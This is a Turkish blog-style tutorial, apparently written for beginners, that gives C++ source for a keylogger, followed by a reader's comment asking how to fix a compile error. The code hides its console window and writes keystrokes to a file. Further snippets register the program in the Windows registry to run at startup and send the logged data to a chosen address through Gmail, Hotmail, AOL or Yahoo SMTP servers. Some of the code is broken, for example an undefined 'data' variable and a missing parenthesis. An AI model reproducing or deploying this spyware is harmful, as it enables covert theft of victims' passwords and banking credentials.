Daha önce hiç internet hesaplarınız çalındı mı? Peki ya banka hesap bilgileriniz? Bilgisayarınızda hiç farketmediğiniz bir anda yüklenmiş ve hiç farketmediğiniz bir şekilde çalışan bir keylogger program varsa, hesaplarınız çalınmak üzere demektir. Bu tür programlar, klavyeyeden basılan karakterleri bilgisayar üzerinde herhangi bir text dosyasına kaydeder ve bilgisayar internete bağlandığında bu bilgiler istenilen sunucuya ve ya kişisel bilgisayara yönlendirir. Ve siz kurban olarak hiç bir şeyden haberiniz yokken bilgisayar üzerinden herhangi bir hesabınıza ulaşmak istediğinizde… ta taa… Tüm hesap bilgilerinizi kendi elinizle bilgisayar korsanına teslim etmiş olursunuz.
Böyle bir programı bir çok dilde yazabilirsiniz. Fakat ben c++ ile yazılmış örnek programları vereceğim.
Mesela c++ ile klavyeden basılan karakterleri bir text dosyasına yazdırmak çok basit bir programlama algoritması gerektirir.
# include <stdio.h> # include <conio.h> # include <windows.h> # include <winuser.h> # include <iostream.h> int main ( void ) { int cha; char ch; FILE *fptr; //dosya oluşturuluyor HWND stealth; //Program çalışırken gözükmemesi için yazılan kod*/ AllocConsole(); // Program her daim klavyeden gelen bilgiyi bu fonksiyon sayesinde alır.*/ stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); while(1) { if ( kbhit() ) { ch = getch(); // klavyeden alınan değer ch değişkenine aktarılıyor cha = ch; // bu bilgiler integer değerlerine çevriliyor fptr = fopen("KEYS.TXT", "a+"); fputc(ch,fptr); // bilgiler keys.txt dosyasına yazılır fclose(fptr); // dosya kapatılır. } } }
Şimdi böyle bir program pek kullanışlı olmaz çünkü bir kere kullanıcı bilgisayarı açıp kapattığında bu program çalışmayacağı için bilgileri kaydetmeyecektir. Bu yüzden windows başlarken otomatik olarak çalışan bir program olması gerekir. Bu yüzden windows’un kayıt defterinden faydalanmamız gerekiyor. Yazdığınız programı windows’un kayıt defterine otomatik başlatılacak program olarak kaydediyoruz. Bunu da yine iki satır kod ile yazıyoruz.
# include <windows> // bu kütüphaneyi eklememiz gerekli
HKEY hKey; // kayıt oluşturuyoruz LPCTSTR sk = TEXT("path"); // programın olduğu dizini // kayıt defterini açıyoruz LONG openRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sk, 0, KEY_ALL_ACCESS , &hKey; //kayıt defterine kaydediyoruz LONG setRes = RegSetValueEx (hKey, "herhangi bir isim", 0, REG_SZ, (LPBYTE)data, strlen(data)+1); LONG closeOut = RegCloseKey(hKey); // kayıt defterini kapatıyoruz
Böylece bu program windows her açılırken lokal makinada windows hizmeti gibi çalışacaktır.
Son olarak üçüncü yani bu bilgileri yönlendirme aşaması geçelim. Bu aşmada bilgileri internet bağlantısı ile istediğiniz bir mail adresine göndermek. Bunun için yine çok çeşitli yöntemler kullanılabilir. Fakat ben biraz daha basite kaçarak hazır bir kütüphane kullanacam. Adresi şurada;
Bu adamın yazdığı kütüphane çok hoşuma gitti. İşleri oldukça basitleştirmiş. Sana kalan sadece yine bir kaç satır kod yazmak kalıyor. Kütüphaneyi programınıza dahil ettikten sonra şu kodları kullanıyorsunuz;
#define test_gmail_tls CSmtp mail; // mail nesnesi tanımlanıyor // Aşağıda hotmail, gmail, yahoo gibi mail sunucuları tanımlanıyor #if defined(test_gmail_tls) mail.SetSMTPServer("smtp.gmail.com",587); // Mailin gönderileceği ilk adres mail.SetSecurityType(USE_TLS); #elif defined(test_gmail_ssl) mail.SetSMTPServer("smtp.gmail.com",465); //Mailin gönderileceği ilk adres mail.SetSecurityType(USE_SSL); #elif defined(test_hotmail_TLS) //Mailin gönderileceği ilk adres mail.SetSMTPServer("smtp.live.com",25); mail.SetSecurityType(USE_TLS); #elif defined(test_aol_tls) mail.SetSMTPServer("smtp.aol.com",587); mail.SetSecurityType(USE_TLS); #elif defined(test_yahoo_ssl) mail.SetSMTPServer("plus.smtp.mail.yahoo.com",465); mail.SetSecurityType(USE_SSL); #endif mail.SetLogin("***"); // Mailinizin kullnıcı adı mail.SetPassword("***"); // şifresi mail.SetSenderName("User"); // Burada gönderici ismini giriyorsunuz mail.SetSenderMail("Gönderici Mail Adresi"); mail.AddSubject("Mail Başlığı"); mail.AddRecipient("Alıcı Mail Adresi"); mail.AddMsgLine("Mesaj Satırı Ekler"); mail.Send(); // Maili Gönder
Hadi kolay gelsin.
data hatası veriyo data tanınmadı diyo onu nasıl çözerim